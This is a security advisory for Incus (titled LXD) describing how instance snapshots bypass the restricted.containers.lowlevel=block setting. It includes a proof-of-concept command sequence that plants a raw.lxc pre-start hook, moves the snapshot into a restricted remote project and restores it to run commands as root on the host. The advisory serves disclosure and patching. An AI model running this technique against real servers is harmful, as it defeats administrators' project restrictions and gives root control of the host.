LXD has restricted project bypass leading to arbitrary command execution

Reported from https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv

Summary

Instance snapshots ignore the restricted.containers.lowlevel=block setting;
allowing for arbitrary command execution on the Incus server by abusing
lowlevel hooks such as raw.lxc and raw.qemu.

Details

Instance snapshots ignore the restricted.containers.lowlevel=block setting;
allowing for arbitrary command execution on the Incus server by abusing
lowlevel hooks such as raw.lxc and raw.qemu.

As snapshots can be moved from one server to another, a malicious
instance+snapshot can be crafted locally, moved to a restricted project
and the snapshot restored for arbitrary command execution.

In practice, this allows a malicious actor to execute arbitrary commands
on the host with root privileges.

PoC

# remote, restricted
incus project set rem:project restricted.true
incus project set rem:project restricted.containers.lowlevel=block

# locally, unrestricted project
incus init images:debian/trixie rce-raw-lxc
incus config set rce-raw-lxc raw.lxc='lxc.hook.pre-start = /bin/sh -c "/bin/id >/lxc-hook-prestart"'
incus snapshot create rce-raw-lxc snap0
#> allow transfer to restricted project
incus config unset rce-raw-lxc raw.lxc

# locally, transfer and trigger
incus move rce-raw-lxc rem: --mode push
incus snapshot restore rem:rce-raw-lxc snap0
incus start rem:rce-raw-lxc

Impact

• Bypass of project restrictions.
• Arbitrary command execution on the Incus server.